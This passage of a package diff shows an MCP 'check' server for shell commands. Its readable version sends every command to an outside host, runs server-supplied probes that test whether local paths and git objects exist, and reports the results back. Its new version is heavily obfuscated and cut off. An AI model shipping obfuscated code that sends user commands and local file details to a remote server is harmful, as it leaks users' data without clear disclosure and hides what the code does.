[an,ao,ap]=am[aW(0x2fb,'1q$d')]('\x1e');!an||'0'!==ao&&'1'!==ao||(ad[aW(0x179,'@JM*')][an]='1'===ao,'0'===ao&&ap&&(ad[aW(0x29d,'tto%')][an]=ap['replace'](/[\x00-\x1f\x7f]/g,'\x20')[aW(0x23d,'#j)D')]()[aW(0x2af,'Bady')](0x0,0xc8)));}}catch{}ai(ad);},al=setTimeout(()=>{try{af['kill']();}catch{}ak();},0x1f40);af[aX(0x1a6,'hVmD')]['on'](aX(0xcb,'bAhZ'),am=>{aj+=am;}),af['on']('error',()=>{clearTimeout(al),ai(ad);}),af['on'](aX(0x13d,'1q$d'),()=>{clearTimeout(al),ak();});});}(Z,D[aO(0x28c,'@JM*')],I),a1={...K[aO(0x265,'V&!G')],...a0[aO(0x35d,'Ar6f')]},a2={...K['why'],...a0[aO(0x212,'AzwM')]},a3={},a4={};for(const a9 of W[aO(0x1ce,'3xwr')])a9 in a1&&(a3[a9]=a1[a9],a2[a9]&&(a4[a9]=a2[a9]));const a5={...M};a5[aO(0x178,'1q$d')]=a3,a5[aO(0xd9,'y**z')]=a4;const a6=a5;delete a6['probe_ok'];const a7=new AbortController(),a8=setTimeout(()=>a7['abort'](),0x1388);V=await O(a6,a7[aO(0xe6,'Rppb')]),clearTimeout(a8),W=await V[aO(0xac,'SJ$)')]();}if(!V['ok']){if(0x1ad===V['status']||/rate limit/i[aO(0x3ac,'MGi]')](W['reason']||W[aO(0xf9,'@@[k')]||''))return void b(B,aO(0xc1,'6kIn'));if(V[aO(0x1b6,'Bady')]>=0x1f4)return void b(B,aO(0xad,'AzwM')+V['status']+aO(0x38a,'XQEW'));if(0x192===V[aO(0x251,'hVmD')])return void b(B,aO(0x231,'Rppb')+(W[aO(0xbc,'R)mN')]||0x78)+aO(0x21a,'icf&')+(W[aO(0x16a,'#j)D')]||'Top\x20up\x20at\x20https://www.golproductions.com/console.html'));return void S(B,!0x1,W[aO(0x276,'V&!G')]||W[aO(0xd0,'#j)D')]||aO(0xb7,'[n0C'));}'runnable'===W[aO(0x2c1,'1d4H')]?S(B,!0x0):S(B,!0x1,(J[aO(0x360,'C5(l')]?aO(0x149,'LX%0')+J['join'](';\x20'):null)||W['reason']||aO(0x28d,'o6pi'));}catch{b(B,aO(0x31a,'o6pi'));}}());
|
package/dist/mcp.js
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
|
-
import{McpServer as t}from"@modelcontextprotocol/sdk/server/mcp.js";import{StdioServerTransport as e}from"@modelcontextprotocol/sdk/server/stdio.js";import{z as r}from"zod";import{execFile as n,spawnSync as o,spawn as s}from"node:child_process";import{existsSync as i}from"node:fs";import{platform as c}from"node:os";import{promisify as l}from"node:util";const a=l(n),u="3.3.7",d=process.env.GOL_CLIENT_ID,m="win32"===process.platform;d||(process.stderr.write("check: GOL_CLIENT_ID environment variable is required.\nGet your key at https://www.golproductions.com/check.html\n"),process.exit(1));const h=new Set(["sudo","nohup","nice","time","timeout","env"]),p=new Set(["cd","echo","printf","pwd","export","set","unset","alias","unalias","true","false","test","[","[[","exit","return","break","continue","shift","source",".","eval","exec","trap","wait","jobs","fg","bg","read","readonly","local","declare","typeset","let","getopts","hash","type","command","builtin","ulimit","umask","times","dirs","pushd","popd","for","while","until","if","then","else","elif","fi","do","done","case","esac","in","function","select","{","}","!"]);function f(){if("win32"!==c())return"bash";const t=[process.env.CLAUDE_CODE_GIT_BASH_PATH,"C:/Program Files/Git/bin/bash.exe","C:/Program Files/Git/usr/bin/bash.exe","C:/Program Files (x86)/Git/bin/bash.exe"].filter(Boolean);for(const e of t)try{if(i(e))return e}catch{}return null}function y(t){try{const e=f();if(!e)return null;const r=o(e,["-c",'type -- "$1" >/dev/null 2>&1',"check",t],{timeout:4e3,stdio:"ignore"});return r.error?null:0===r.status}catch{return null}}async function g(t){const e=function(t){try{let e=function(t){const e=[[]];let r="",n=null;for(let o=0;o<t.length;o++){const s=t[o];n?s===n?n=null:r+=s:'"'!==s&&"'"!==s?"|"!==s&&"&"!==s&&";"!==s&&"\n"!==s?/\s/.test(s)?r&&(e[e.length-1].push(r),r=""):r+=s:(r&&(e[e.length-1].push(r),r=""),e[e.length-1].length&&e.push([]),"|"!==s&&"&"!==s||t[o+1]!==s||o++):n=s}r&&e[e.length-1].push(r);const o=[];for(const t of e){let e=null;for(const r of t)if(r&&!h.has(r)&&!/^[\d.]+[smhd]?$/.test(r)&&(!r.includes("=")||r.startsWith("-"))&&!r.startsWith("-")){e=r;break}e&&o.push(e)}return o}(t);if(e=e.filter(t=>!p.has(t)),0===e.length)return!0;if(e.some(t=>/[(){}$`]/.test(t)))return null;let r=!0;for(const t of e){const e=y(t);if(null===e)return null;!1===e&&(r=!1)}return r}catch{return null}}(t),r={command:t,v:u,channel:"mcp",platform:"mcp",probe_ok:1,path_ok:1,git_ok:1};null!==e&&(r.binary_exists=e);const n=t=>fetch("https://triage.golproductions.com/preflight",{method:"POST",headers:{"Content-Type":"application/json","X-GOL-CLIENT-ID":d,"User-Agent":"c/"+u},body:JSON.stringify(t)});let o=await n(r),i=await o.json();if(o.ok&&"probe"===i.verdict&&Array.isArray(i.probe)){const t=await function(t){const e={probe:{},why:{}};if(!Array.isArray(t)||0===t.length)return Promise.resolve(e);const r=t.filter(t=>"string"==typeof t&&t.length>0&&t.length<600).slice(0,16);if(0===r.length)return Promise.resolve(e);let n;try{const t=f();if(!t)return Promise.resolve(e);n=s(t,["-c",'for k in "$@"; do\n r=0; w=""\n case "$k" in\n path:*) p="${k#path:}"; [ -e "$p" ] && r=1 ;;\n gitcmd:*) s="${k#gitcmd:}"\n if git --list-cmds=main,others,alias,parse-opt 2>/dev/null | grep -Fxq -- "$s"; then r=1\n elif type -- "git-$s" >/dev/null 2>&1; then r=1; fi ;;\n gitref:*) f="${k#gitref:}"\n if git rev-parse --verify --quiet "$f" >/dev/null 2>&1; then r=1\n elif git ls-files --error-unmatch -- "$f" >/dev/null 2>&1; then r=1; fi ;;\n *) if w=$(type -- "$k" 2>&1 >/dev/null); then r=1; w=""; fi ;;\n esac\n printf \'%s\\036%s\\036%s\\037\' "$k" "$r" "$w"\ndone',"check",...r])}catch{return Promise.resolve(e)}return new Promise(t=>{let r="";const o=()=>{try{for(const t of r.split("")){if(!t)continue;const[r,n,o]=t.split("");!r||"0"!==n&&"1"!==n||(e.probe[r]="1"===n,"0"===n&&o&&(e.why[r]=o.replace(/[\x00-\x1f\x7f]/g," ").trim().slice(0,200)))}}catch{}t(e)},s=setTimeout(()=>{try{n.kill()}catch{}o()},8e3);n.stdout.on("data",t=>{r+=t}),n.on("error",()=>{clearTimeout(s),t(e)}),n.on("close",()=>{clearTimeout(s),o()})})}(i.probe),e={...r,probe:t.probe,probe_why:t.why};delete e.probe_ok,o=await n(e),i=await o.json()}return i._status=o.status,i}const w=new t({name:"check",version:u});w.tool("Check","Know if a command will work before running it. Returns 'runnable' or 'invalid'. $0.0068 AUD per Check.",{command:r.string().max(1e4).describe("The shell command to validate before execution")},async({command:t})=>{try{const e=await g(t);return 402===e._status?{content:[{type:"text",text:"Verdict: RUNNABLE (unverified). Check: daily free checks used and balance is empty. Command NOT verified — Check resumes tomorrow or after a top-up at https://www.golproductions.com/console.html"}]}:e.verdict?{content:[{type:"text",text:"Verdict: "+("runnable"===e.verdict?"RUNNABLE":"INVALID")}]}:{content:[{type:"text",text:`Error: ${e.error||"unknown"}`}],isError:!0}}catch(t){return{content:[{type:"text",text:`Check API error: ${t.message}`}],isError:!0}}}),w.tool("CheckAndExecute","Validate a command with Check, then execute it if runnable. Returns the command output if valid, or blocks it.",{command:r.string().max(1e4).describe("The shell command to validate and execute")},async({command:t})=>{try{const e=await g(t);if(402!==e._status&&"runnable"!==e.verdict)return{content:[{type:"text",text:"BLOCKED: "+(e.reason||"command is invalid")}]};const{stdout:r,stderr:n}=await a(m?"cmd":"bash",m?["/c",t]:["-c",t],{timeout:3e4});return{content:[{type:"text",text:(r||"")+(n?"\nSTDERR: "+n:"")||"(no output)"}]}}catch(t){return t.stdout||t.stderr?{content:[{type:"text",text:`Exit ${t.code||1}:\n${(t.stdout||"")+(t.stderr?"\nSTDERR: "+t.stderr:"")}`}]}:{content:[{type:"text",text:`Error: ${t.message}`}],isError:!0}}});const x=new e;await w.connect(x);
|
|
2
|
+
const a0V=a0q;(function(b,j){const S=a0q,k=b();while(!![]){try{const q=parseInt(S(0x198,'FlB3'))/0x1+-parseInt(S(0x1a5,'VzxY'))/0x2*(-parseInt(S(0x213,'YD6p'))/0x3)+parseInt(S(0x1b6,'8mYF'))/0x4*(parseInt(S(0x21d,'eh0m'))/0x5)+parseInt(S(0x183,'C@9r'))/0x6*(parseInt(S(0x1a8,'8]xv'))/0x7)+parseInt(S(0x1f7,'ek&b'))/0x8+-parseInt(S(0x1b1,'i2JP'))/0x9+-parseInt(S(0x21e,'ZSZO'))/0xa;if(q===j)break;else k['push'](k['shift']());}catch(v){k['push'](k['shift']());}}}(a0k,0x34aa7));const a0j=(function(){let b=!![];return function(j,k){const q=b?function(){const T=a0q;if(k){const v=k[T(0x1a6,'S7v&')](j,arguments);return k=null,v;}}:function(){};return b=![],q;};}()),a0b=a0j(this,function(){const U=a0q;return a0b['toString']()['search'](U(0x1c0,'wkBv'))[U(0x1d1,'!S[o')]()[U(0x188,'FlB3')](a0b)[U(0x197,'CLQ]')](U(0x179,'YD6p'));});function a0k(){const a7=['W6zyWQlcNMOUWP7dPmoVarrR','s8k/W4NcLGSzsW','sKi8WOxcQNC6WOZcRq','W6VdMSkjlhhcS8o/','W7/dI8kpkM/cOa','qSoqWPXhW5z6yczWWPy','WQhdLsegaMJdJrq','WOPRW5BdQCoWAmojW7vBW4y9WRxdRG','WOLTW5BdPSo8ASkaW4LwW6idWQ0','WO9jW4z4W7G','FCk8W5iljaG0','W5NcM8kXWR50WPm','WRRdNJefg3RdJq','ywxcPSkSsX8','ltS1CCkqWQu','WPDJW7mgWPeDuSoXW5xcNSoUnq','WR/cVIS','bSkhW5CCW7LoyG','WQ9JW7P+uSkrW74','WOzeWQagWRS+t8karCodlxT3DCoV','dWKKWQ4','FCk8W4md','WOSoWO3dNZ4','WQ7cMWRdVq','W79pW7HI','ntSJyG','WQpdGCokWOW','WQXOW6L2uSktW7K','W4GPWPlcUa','cSovW4umcmkBqG','pxbzjW','WQlcNqtdUSoZW7a','W7JdKmkUn3pcRSoIrW','WP4uW5NdJ8kHW78H','W6xdHmkEW7SLxa','W6tcNCkmW4DD','WQ4CWPqH','W4hcVWJdGhddLa','W5ddKGBdVmkY','WRLIW793','WRdcNa3dOa','W7RdLCkcW7u/u8kcW6xdUG','WPZcVJCEhemLgIXcqCk0E8kgW6rHWPfvWOBdRSkbbfLPj8oWumkzcSo4WOhdKMFcMSkNkmo4svCbW5yyWPG0WOid','WOWjWOBdMq','WRldI8opWOywWQi','WRSfWO4V','nJC1jCow','bmk6WPCTzHZcHCka','WPFdK8oRW50','WO9bW4z/W7Hv','WOywWQDwWONcT0a','FNtcTG','WRVdOfG','WRddTSopWQVdOvNdGa','rmooqCk3wCk3wNuEWRaMWPxcJq','WOiqW4FdHq','WP/dGCo3W5S','W4ZcL8kXWQ9YWPu','z1ldQI9WW5/dMG','WOtdLg5hdIddN0W','W4zDtI/dIeNdKq','WRaAfSovdGaTWOxdG0mgha','umocxCkYqSkTCq','WOOVWQGPFI88','FY4UwMPhWQO','FMSbWRxcIf0q','CMTTjCovW71pAaJcMhHf','W7yPW7ChWO4','ux7cRmk3wWvKoc7cPSkDWPy','bSkTWPKRBa','svTRW6pcKmoPW4VdIxtdTIjXDq','W61NrgBcKG9/msS','W6PBW4vR','WQ7dJSo5W4bgW7y','W4HvW7rSDLCgFGldJY/cNCoNW6OYfSoM','pNrijW','W68LBxO','W7yYW7baW5K','W7VcHsZdQfldUSk9','CxNcP8kGvveWuJxcK8kYWRddMrGLfCoMs2HxrqazWPWzsSkUWR4OWRxcHcpdLgVdMmkNDmoWktzEWP4IDConvrFdOmoPWRpdUmkqpu/dUxfYWQldOMtcSSoZWO7cKmoWCSkaW5/cO8oFoSkxxmk/WRnNWPVcMWazjSo2vCkmWP3cO8ofWOhcSmogB8oAW5LTW6FdOmo3WOZdRISmvCkfox4vh8osW4PmuHZcTW','W4lcN8kUWRm','WOFdH8o2W5SklmofaW','W6ddMSktjhxcRW','WRD0WQegWONcTXhdKSoEW4u5WQq','WQL7W41Sa8orW5m','WQpdK8o0W5Wpl8oDa3efFb9sWPtdJLlcQIpdSSozWRNdOSoIW6JdQGxcICoMw33dT8k2aCoPWOPyW7zRWOFdPSo1ixuEWP87W6xdISo2uXZdVYtdJuhcUvPLW6L7p1NcHbVcPSoJmSomWRJdVcGpuJvXiCkWzmkFW7OicCoVW64VW4PMW7LuWO8xwXtcOHnhle/cKX9yWQr6W6CVkwOknmkR','WORdTSoAWQK','WPBdNCo2W4eoimoD','mIO/C8kwWR8','yMpcRCkHwW','DLNdQcvX','rCk/WRBdVsNcRsC','W6LkW4W','cdm1g3fhWQ0BaweL','W4HhW4DQpSoXW70Rvq','WRpdUuL9','WRtdKSomWOW','iSkjWPhdIG3cMbdcHsS','Cg9SimorW7LjDcdcOLzn','amkhW5Wh','uZeZwhS','k2bip8o0WPb0','udiQxW','W4WLWPhcTq','WQZcV8kuWPRdP0pdLmoKWQaUcH3dLrtcUCkEpCkBeSo3sSkDiMZdMIOuWRz6WOrCW4lcVcimeCoNy8kI','W7BdVxVcVCoTW6xdG8oZtq9RW6fIDf/cGfNcKmoaqXP8r8kNWOZdHW1CW603WOVcINyZWQ5BWRGFFmo7wmohW7lcG8oDWP9DW6RcLsVcPCoonCoQqmkScGe9WRJcICoDW7T8WPhcOSkuDmkQiSoQDvZdKCkqWQSaxX9tCSo6W5ZcHCoWW4LvwWS+lCkmASk7W53cVmkJWQFcR8kxW5z7','WOSlWOW','rmk/WQVdQtZcOG','p8o6WO7cNHXejCo8yq','EcuzzCkWW44Rt8oxW409W6rLnW','WQVdLcWEhMldNqi','WO3dT8oEWQVdVG','W7NcHmkWW7O','aMr0rSkwWQjFtqBcGrjNw8kdig0FWQldPNRdHmosWPfeWOJdV8knns8CmmkBWOe','WQpdRef6ja','WRykWR5xWPtdUG4','zSk2m8otkq','w8kQWQNdPZW','w8kUWQhdQZRcUa','aSk2WPSS','WQWqW6jBnCotW49d','AxzZomopW6qtfKZdHrKf','WPWeW5NdIa','ASkKW4NcIG','W5eVWQdcOSk7p8ki','W7Dgv8kv','WOVdPmopWQS','cbG4WRpdHG','W57cL8kWWR5K','WQeiW6FdMq','WRXIW6K','W6dcTrG7ELRdT3ddLmkZlM4','DSoOFmkc','W5dcQGNdGq','zMJcSSkM','dXuSWR8','fCkWWPG6FqdcNmkAWRpcNCks','ld0R','WQxdTurMoHy','WQtdH8oEWPSqWQuye3xdUW','W6VdTMBcRSkKW6/dKCoPdh1DW4bbwhZcONJcKmkFxXHMaSkIWORdKW8zW6T7W4pdHuC+W6TkWQzlmSo2v8ojWR7cK8kjW5CpW53cLx/cS8oupSo6c8o4waeGWRpcJmkFW7z3W5lcOSkzz8oMzmoTEe/cKmkvWRfehvWdiSkZW5ZcLCkdWPaafISfdCkmvmkrW7VcVmkwWQRcUmkDW5S8y8oREokaTSoihaBcSGipa8oolr3dQ8o/WPmUDGZdRdlcP8ozWQC8uw3cTMfRW4VcHvRdHhS8WRxcLmotWOJcOXyUW6VdK8ocv8kyW7pcK0nRW5dcRmkRvCoHW5ldKHXWb8o7smoGWRnwhcfoWPPgW54rWRxcOCoBt8kCmmoXWP7dJSkYhmkAgCoEwCkCfW','g8oeW4eD','W6iVW7rzW53dOre','W6iVW7rzW53dOrhcI8oMW71nWORdGJvMySoasG','WRRdKmop','WOddMZpdISknqa','BgSaWQxcK1SCW5m','W6ldKmkvnNe','W43dOxVcQmkO','qmkTp8ohCmo2WQNcMSk2rG','sLXKW6ZcMCoOW4lcJLRdVZ9OBdy','uZG7sx1A','rCoMW499peRcG8kAWQBcKmkwWPO','yMtcSCkR','rdG5v39aWRW','yhtcSCkSuH11','W6DyW79OAr8','dSooW4ClaG','WOtdRmoxWQy','WPWdW4pdJSk5W68','WRyiWPq','WPSsWOZdMsFdRa','fWKYWR3dNCk3','g8osW54','WQamWRbAWPa','W7BdHJ/dM8o0W4nnta','Ax4dWQRcMa','E8kRW4mx','WOxcKGldI0RdSmkJ','WRFcGaNdUSoJW7e','W7HjW7b9AqqqrZ/cHW','WQadW6FdIc8','WP0PWQSIDdK8','WR7dKmoIW4jD','WRGzW4/cGmk+W6eHrSkDWRJdI07dQCk4W4ldQmkbWQBdLSoEfSoNW70rWRnKW4NcLcpdMSo3qCoODCk+xGBcOuVdJgC','vdGItW','WONdQSojW6RdVGZdMSo4W6fHdHVcNKpdVmkjCSk5sSoVdSkjprdcKYKgW7yXW6btWOdcVJaxwSkIoCoJxdNcTSk2yCoyW4BcLCkEcr/cMmkEW7TCWPNdS8o3WQnrWRPltmkmt8kbgCkeau/dICkQWPHzWOiRv8kYqe7dT2ycvmodkSoEW4JcNYlcLxZcQHuUWOypW5ThWRVcNSoWA8oWchL0BCofWRvRatpdK8kjjmkYBCoxdXRdGSoobMTArCkvtvXVW6H9WQPfjxfSW73cHI3dSZfAW7ezWQ4GtmknAmkOkmo7W5VcIHGjWOpdHCotW61wtJxdPSo4W5VcS8ksW7ldMbTar8o/amk4aSkjWPHQWPBdQmksW4ldU23dN8o4WONcOCknlmkKomkpWPpcGZJdOSkZWRihWQb/W5jnde/cLKBcNSkVWQ7dKmklrHtcHrxcG8k4W7pdUSoRWR3dN1ZdRhDDwSo0t0dcVteiW63dHCkpWPbMks3dGGqJWRO2rmkUk8kMW5XkWOdcRXZdLuqJlCkgnepdOK99WPfLtmkIqtr6uCoJn8knEx04gSoDWRJdHSkRW6NcJJW5smoId8k5nCkMW7VdISo0WONdJCoesfXnW59MWQ3dVCoNW4bevupcMCk+W7GaWRqezmoKWQfapCoZW5TIhSk8wenfW4ddT8oUomo2W5tcKX14W6zLW7elW5JdH8oAW6BcPcmaqSoPW7xdMYpdQmkBvSoWWO3cQmkWFmkUWRLYWOZdNSoyWPPtW79aWR1cFmkhkmodWRRdMJddJaNdMSkezmkRWOumWP0hW6u5WQnIcxRdIqHRWOG1bwdcP3OfWPddMIZdQcrXtGZdGSkuWOVdPLjjW6vCiWpdSetcJSosx8kKWOH7WPX6jmoyW53dKbK3rMxcICoFhmkREmkBW614FSkRWRHyj8kPW71WW77cTWldLCksWPGGDCkxW6VcKrZdSCkyDh3cNCkdBdhcGmkkW51CWRZdUMGkntlcNCk/W7adW6/cPCk7WP7cUaRcSdtcRCoilCocW4D1CColDKpcJqlcO8kWWO3dP8kdW73dQrNdP8kOwxdcOCoGWQqnW4ZcOHxdIXRdUhtcUdqmWPlcGSkoWQ4VWOtdTZldHrGkye9vW6OTW5tdOmogWOVdIvvqWOW5WOyzW483WP/cSqhcM8o1j8kqbmkQBCkRWQpcLJi'];a0k=function(){return a7;};return a0k();}a0b();import{McpServer as a0z}from'@modelcontextprotocol/sdk/server/mcp.js';import{StdioServerTransport as a0A}from'@modelcontextprotocol/sdk/server/stdio.js';import{z as a0B}from'zod';import{execFile as a0C,spawnSync as a0D,spawn as a0E}from'node:child_process';import{existsSync as a0F}from'node:fs';import{platform as a0G}from'node:os';import{promisify as a0H}from'node:util';const a=a0H(a0C),u=a0V(0x1d4,'0bTt'),d=process.env.GOL_CLIENT_ID,m=a0V(0x1f4,'j)IM')===process['platform'];d||(process[a0V(0x209,'YD6p')][a0V(0x1fe,'j)IM')](a0V(0x200,'1S#h')),process[a0V(0x18d,'[ugO')](0x1));const h=new Set(['sudo',a0V(0x193,'!S[o'),'nice',a0V(0x177,'FlB3'),'timeout',a0V(0x1a3,'[ugO')]),p=new Set(['cd','echo',a0V(0x19f,'0Bm$'),'pwd',a0V(0x1dd,'0bTt'),'set',a0V(0x1ab,'i2JP'),a0V(0x1d7,'[Mwn'),a0V(0x1c3,'UlmX'),a0V(0x1cb,'0bTt'),a0V(0x1ba,'IV*g'),'test','[','[[',a0V(0x210,'C@9r'),'return',a0V(0x220,'UZF&'),a0V(0x21f,'I68D'),a0V(0x174,'Bv%W'),'source','.','eval',a0V(0x170,'E)RM'),a0V(0x1a7,'DBQD'),a0V(0x1fc,'ZSZO'),a0V(0x1c8,'VzxY'),'fg','bg',a0V(0x1c6,'DBQD'),a0V(0x1e0,'FlB3'),'local',a0V(0x19a,'CLQ]'),a0V(0x1eb,'kbse'),a0V(0x1e4,'1S#h'),a0V(0x1b4,'!S[o'),a0V(0x201,'&@GP'),a0V(0x187,'ek&b'),a0V(0x18e,'j)IM'),a0V(0x216,'ZSZO'),a0V(0x1fa,'s*sV'),a0V(0x172,'C@9r'),a0V(0x180,'&@GP'),a0V(0x17b,'eh0m'),'pushd',a0V(0x217,'CLQ]'),a0V(0x182,'UlmX'),'while','until','if',a0V(0x1d9,'VzxY'),'else',a0V(0x1de,'jaaH'),'fi','do',a0V(0x1dc,'Ti1s'),a0V(0x211,'0bTt'),a0V(0x207,'UZF&'),'in','function',a0V(0x1bc,'&@GP'),'{','}','!']);function f(){const W=a0V;if(W(0x1df,'YD6p')!==a0G())return W(0x185,'8]xv');const b=[process.env.CLAUDE_CODE_GIT_BASH_PATH,W(0x171,'YD6p'),'C:/Program\x20Files/Git/usr/bin/bash.exe',W(0x219,'UZF&')][W(0x1e2,'IV*g')](Boolean);for(const j of b)try{if(a0F(j))return j;}catch{}return null;}function y(j){const X=a0V;try{const k=f();if(!k)return null;const q={};q[X(0x1ce,'[ugO')]=0xfa0,q[X(0x17f,'ek&b')]='ignore';const v=a0D(k,['-c','type\x20--\x20\x22$1\x22\x20>/dev/null\x202>&1',X(0x1c7,'Ti1s'),j],q);return v['error']?null:0x0===v[X(0x1a9,'VzxY')];}catch{return null;}}async function g(j){const a0=a0V,k=function(C){const Z=a0q;try{let D=function(F){const Y=a0q,G=[[]];let H='',I=null;for(let K=0x0;K<F[Y(0x1bf,'YD6p')];K++){const L=F[K];I?L===I?I=null:H+=L:'\x22'!==L&&'\x27'!==L?'|'!==L&&'&'!==L&&';'!==L&&'\x0a'!==L?/\s/['test'](L)?H&&(G[G[Y(0x203,'!S[o')]-0x1][Y(0x1d5,'jaaH')](H),H=''):H+=L:(H&&(G[G['length']-0x1]['push'](H),H=''),G[G[Y(0x21c,'vHJR')]-0x1]['length']&&G[Y(0x17a,'0Bm$')]([]),'|'!==L&&'&'!==L||F[K+0x1]!==L||K++):I=L;}H&&G[G['length']-0x1][Y(0x199,'1S#h')](H);const J=[];for(const M of G){let N=null;for(const O of M)if(O&&!h[Y(0x1a0,'jaaH')](O)&&!/^[\d.]+[smhd]?$/['test'](O)&&(!O[Y(0x1b7,'I68D')]('=')||O[Y(0x18b,'0bTt')]('-'))&&!O[Y(0x1aa,'PcO1')]('-')){N=O;break;}N&&J[Y(0x1cd,'Dxmu')](N);}return J;}(C);if(D=D[Z(0x1ea,'&@GP')](F=>!p['has'](F)),0x0===D[Z(0x191,'qhEY')])return!0x0;if(D['some'](F=>/[(){}$`]/[Z(0x181,'i2JP')](F)))return null;let E=!0x0;for(const F of D){const G=y(F);if(null===G)return null;!0x1===G&&(E=!0x1);}return E;}catch{return null;}}(j),q={'command':j,'v':u,'channel':a0(0x190,'0bTt'),'platform':a0(0x189,'YD6p'),'probe_ok':0x1,'path_ok':0x1,'git_ok':0x1};null!==k&&(q[a0(0x1e7,'L8jW')]=k);const v={};v[a0(0x1f5,'1S#h')]='application/json',v[a0(0x1c4,'jaaH')]=d,v[a0(0x195,'Bv%W')]='c/'+u;const z=C=>fetch('https://triage.golproductions.com/preflight',{'method':a0(0x184,'L8jW'),'headers':v,'body':JSON[a0(0x1da,'oOTd')](C)});let A=await z(q),B=await A[a0(0x1e9,'y2i!')]();if(A['ok']&&a0(0x20a,'1S#h')===B[a0(0x1ef,'L8jW')]&&Array['isArray'](B['probe'])){const C=await function(E){const a1=a0,F={};F[a1(0x1f6,'FlB3')]={},F[a1(0x20d,'fraW')]={};const G=F;if(!Array[a1(0x17c,'Dxmu')](E)||0x0===E[a1(0x1a2,'ek&b')])return Promise[a1(0x1c2,'8mYF')](G);const H=E[a1(0x1d0,'VzxY')](J=>a1(0x1d6,'8]xv')==typeof J&&J['length']>0x0&&J[a1(0x19c,'PcO1')]<0x258)['slice'](0x0,0x10);if(0x0===H[a1(0x1d3,'oOTd')])return Promise[a1(0x19b,'1S#h')](G);let I;try{const J=f();if(!J)return Promise[a1(0x1bd,'I68D')](G);I=a0E(J,['-c',a1(0x1b0,'UZF&'),a1(0x1a4,'Ev1L'),...H]);}catch{return Promise[a1(0x1d2,'0Bm$')](G);}return new Promise(K=>{const a4=a1;let L='';const M=()=>{const a2=a0q;try{for(const O of L['split']('\x1f')){if(!O)continue;const [P,Q,R]=O[a2(0x175,'vHJR')]('\x1e');!P||'0'!==Q&&'1'!==Q||(G[a2(0x19d,'[ugO')][P]='1'===Q,'0'===Q&&R&&(G['why'][P]=R[a2(0x1bb,'DBQD')](/[\x00-\x1f\x7f]/g,'\x20')[a2(0x1c9,'PcO1')]()[a2(0x215,'CLQ]')](0x0,0xc8)));}}catch{}K(G);},N=setTimeout(()=>{const a3=a0q;try{I[a3(0x19e,'UZF&')]();}catch{}M();},0x1f40);I['stdout']['on'](a4(0x17e,'UZF&'),O=>{L+=O;}),I['on'](a4(0x20b,'kbse'),()=>{clearTimeout(N),K(G);}),I['on']('close',()=>{clearTimeout(N),M();});});}(B[a0(0x194,'0xO9')]),D={...q,'probe':C['probe'],'probe_why':C[a0(0x1c1,'Ilns')]};delete D['probe_ok'],A=await z(D),B=await A['json']();}return B['_status']=A['status'],B;}const a0v={};a0v[a0V(0x1e8,'0Bm$')]='check',a0v[a0V(0x1f2,'S7v&')]=u;const w=new a0z(a0v);function a0q(a,b){a=a-0x170;const c=a0k();let d=c[a];if(a0q['KRMkAh']===undefined){var e=function(j){const l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let m='',n='',o=m+e,p=(''+function(){return 0x0;})['indexOf']('\x0a')!==-0x1;for(let q=0x0,r,s,t=0x0;s=j['charAt'](t++);~s&&(r=q%0x4?r*0x40+s:s,q++%0x4)?m+=p||o['charCodeAt'](t+0xa)-0xa!==0x0?String['fromCharCode'](0xff&r>>(-0x2*q&0x6)):q:0x0){s=l['indexOf'](s);}for(let u=0x0,v=m['length'];u<v;u++){n+='%'+('00'+m['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(n);};const i=function(k,l){let m=[],n=0x0,o,p='';k=e(k);let q;for(q=0x0;q<0x100;q++){m[q]=q;}for(q=0x0;q<0x100;q++){n=(n+m[q]+l['charCodeAt'](q%l['length']))%0x100,o=m[q],m[q]=m[n],m[n]=o;}q=0x0,n=0x0;for(let r=0x0;r<k['length'];r++){q=(q+0x1)%0x100,n=(n+m[q])%0x100,o=m[q],m[q]=m[n],m[n]=o,p+=String['fromCharCode'](k['charCodeAt'](r)^m[(m[q]+m[n])%0x100]);}return p;};a0q['vHIaSm']=i,a0q['mCAoaM']={},a0q['KRMkAh']=!![];}const f=c[0x0],g=a+f,h=a0q['mCAoaM'][g];if(!h){if(a0q['ippBSE']===undefined){const j=function(k){this['KJPylB']=k,this['DmGXTg']=[0x1,0x0,0x0],this['SzCZoc']=function(){return'newState';},this['EbEwmq']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['FlHVaj']='[\x27|\x22].+[\x27|\x22];?\x20*}';};j['prototype']['cuPLpY']=function(){const k=new RegExp(this['EbEwmq']+this['FlHVaj']),l=k['test'](this['SzCZoc']['toString']())?--this['DmGXTg'][0x1]:--this['DmGXTg'][0x0];return this['cmISTC'](l);},j['prototype']['cmISTC']=function(k){if(!Boolean(~k))return k;return this['DlASdd'](this['KJPylB']);},j['prototype']['DlASdd']=function(k){for(let l=0x0,m=this['DmGXTg']['length'];l<m;l++){this['DmGXTg']['push'](Math['round'](Math['random']())),m=this['DmGXTg']['length'];}return k(this['DmGXTg'][0x0]);},(''+function(){return 0x0;})['indexOf']('\x0a')===-0x1&&new j(a0q)['cuPLpY'](),a0q['ippBSE']=!![];}d=a0q['vHIaSm'](d,b),a0q['mCAoaM'][g]=d;}else d=h;return d;}w['tool']('Check',a0V(0x21a,'0xO9'),{'command':a0B['string']()[a0V(0x1e5,'C@9r')](0x2710)[a0V(0x192,'S7v&')](a0V(0x1db,'Ilns'))},async({command:v})=>{const a5=a0V;try{const z=await g(v),A={};A[a5(0x218,'Dxmu')]=a5(0x1af,'CLQ]'),A[a5(0x1fd,'#t9L')]=a5(0x18c,'0xO9');const B={};return B['content']=[A],0x192===z[a5(0x1e6,'UZF&')]?B:z['verdict']?{'content':[{'type':a5(0x1ca,'YD6p'),'text':a5(0x20f,'fraW')+(a5(0x202,'y2i!')===z['verdict']?a5(0x1ec,'C@9r'):a5(0x1ff,'8]xv'))}]}:{'content':[{'type':a5(0x214,'8mYF'),'text':a5(0x1b2,'eh0m')+(z[a5(0x1ad,'s*sV')]||a5(0x173,'Ev1L'))}],'isError':!0x0};}catch(C){const D={};D[a5(0x1f9,'fraW')]=a5(0x17d,'[ZOC'),D['text']=a5(0x1fb,'PcO1')+C[a5(0x20c,'vHJR')];const E={};return 